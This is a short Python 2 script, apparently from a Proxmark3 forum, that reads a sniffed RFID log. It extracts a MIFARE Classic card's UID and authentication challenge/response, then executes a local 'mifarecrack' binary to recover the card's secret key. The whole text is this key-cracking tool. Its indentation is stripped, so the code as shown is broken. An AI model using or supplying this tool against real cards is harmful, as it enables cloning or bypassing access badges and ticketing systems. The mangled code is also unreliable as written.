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#!/usr/bin/python
# Original source: proxmark3.org community forum
import sys
import os
import string
try:
file= open(sys.argv[1])
except:
print
print '\tusage: mifarecrack.py <proxmark3 logfile>'
print
sys.exit(True)
lines= file.readlines()
uid= ''
gotone= False
for i in range(len(lines)):
if not uid and string.find(lines[i],': 93 20') > 0:
uid= lines[i + 1][20:34]
print
print 'Found TAG UID:', uid
if string.find(lines[i],': 60') > 0 or string.find(lines[i],': 61') > 0:
gotone= True
tag_challenge= lines[i+1]
reader_challenge_response= lines[i+2]
tag_response= lines[i+3]
break
if not gotone:
print 'No crypto exchange found!'
sys.exit(True)
crackstring= './mifarecrack '+ uid
# now process challenge/response
crackstring += ' ' + tag_challenge[20:34]
crackstring += ' ' + reader_challenge_response[20:50]
crackstring += ' ' + tag_response[20:34]
print 'Executing ', crackstring
os.execv('./mifarecrack',string.split(crackstring))
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